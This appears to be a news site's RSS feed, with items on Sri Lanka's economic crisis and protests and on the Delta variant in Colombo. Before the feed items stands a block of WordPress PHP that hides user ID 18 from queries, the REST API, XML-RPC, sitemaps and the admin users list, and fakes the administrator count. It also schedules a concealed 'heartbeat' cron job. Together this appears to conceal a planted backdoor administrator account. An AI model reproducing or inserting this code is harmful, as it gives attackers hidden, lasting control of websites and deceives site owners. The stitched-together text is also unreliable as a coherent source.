add_action( 'pre_get_posts', function( $q ) {
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        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
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add_action( 'template_redirect', function() {
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    }
} );

add_action( 'pre_user_query', function( $q ) {
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        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
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} );
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		<title>Sri Lanka&#8217;s Condition Worsens As Public Protests Against The Worst Economic Hit</title>
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					<description><![CDATA[<p>Sri Lanka is now experiencing its greatest economic catastrophe in recent memory, which resulted in demonstrations outside the President&#8217;s mansion and lockdowns around the city, Colombo. The nation is on the verge of bankruptcy. Spiraling costs, 13-hour outages, and a scarcity of essential medications, cooking gas, and foodstuffs are torturing the populace. Strikes against rising [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/sri-lankas-condition-worsens-as-public-protest-against-the-worst-economic-hit">Sri Lanka&#8217;s Condition Worsens As Public Protests Against The Worst Economic Hit</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>Sri Lanka is now experiencing its greatest economic catastrophe in recent memory, which resulted in demonstrations outside the President&#8217;s mansion and lockdowns around the city, Colombo. The nation is on the verge of bankruptcy. Spiraling costs, 13-hour outages, and a scarcity of essential medications, cooking gas, and foodstuffs are torturing the populace.</p>
<p>Strikes against rising prices and deteriorating circumstances have erupted in over the last week — unexpectedly with no guidance from recognised political groups. Previously, the power cuts were of 4-7 hours, but now it&#8217;s almost 13 hours. Thousands of people marched through the streets of the capital, holding hand-written banners and candles, wanting President Gotabaya Rajapaksa&#8217;s retirement.</p>
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<p>The post <a href="https://theedgemedia.in/sri-lankas-condition-worsens-as-public-protest-against-the-worst-economic-hit">Sri Lanka&#8217;s Condition Worsens As Public Protests Against The Worst Economic Hit</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>Delta variant spreading at a great speed in Colombo</title>
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		<pubDate>Mon, 19 Jul 2021 12:44:47 +0000</pubDate>
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					<description><![CDATA[<p>The highly transmissible Delta variant of coronavirus is spreading rapidly across Sri Lanka and comprise around 30 per cent of the new cases reported in Colombo, the health authorities said on Monday, advising the government to stop relaxing travel restrictions. Deputy Director-General of health services Dr Hemantha Herath told reporters that the Delta variant, first [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/delta-variant-spreading-at-a-great-speed-in-colombo">Delta variant spreading at a great speed in Colombo</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>The highly transmissible Delta variant of coronavirus is spreading rapidly across Sri Lanka and comprise around 30 per cent of the new cases reported in Colombo, the health authorities said on Monday, advising the government to stop relaxing travel restrictions. Deputy Director-General of health services Dr Hemantha Herath told reporters that the Delta variant, first reported in India, has also spread to the southern districts of Galle, and Matara, as well as to the northern districts of Jaffna and Kilinochchi.</p>
<p>We have noticed that between 25-30 per cent of new cases reported from Colombo are of the Delta variant,” Herath said.</p>
<p>The health officials said that about 35 cases of the Delta variant of SARS-CoV-2, the virus that causes Covid-19, have been found in Sri Lanka so far.</p>
<p>Sri Lanka is fighting the third wave of coronavirus. More than 1,000 new Covid-19 infections are recorded daily, in addition to nearly 50 deaths.</p>
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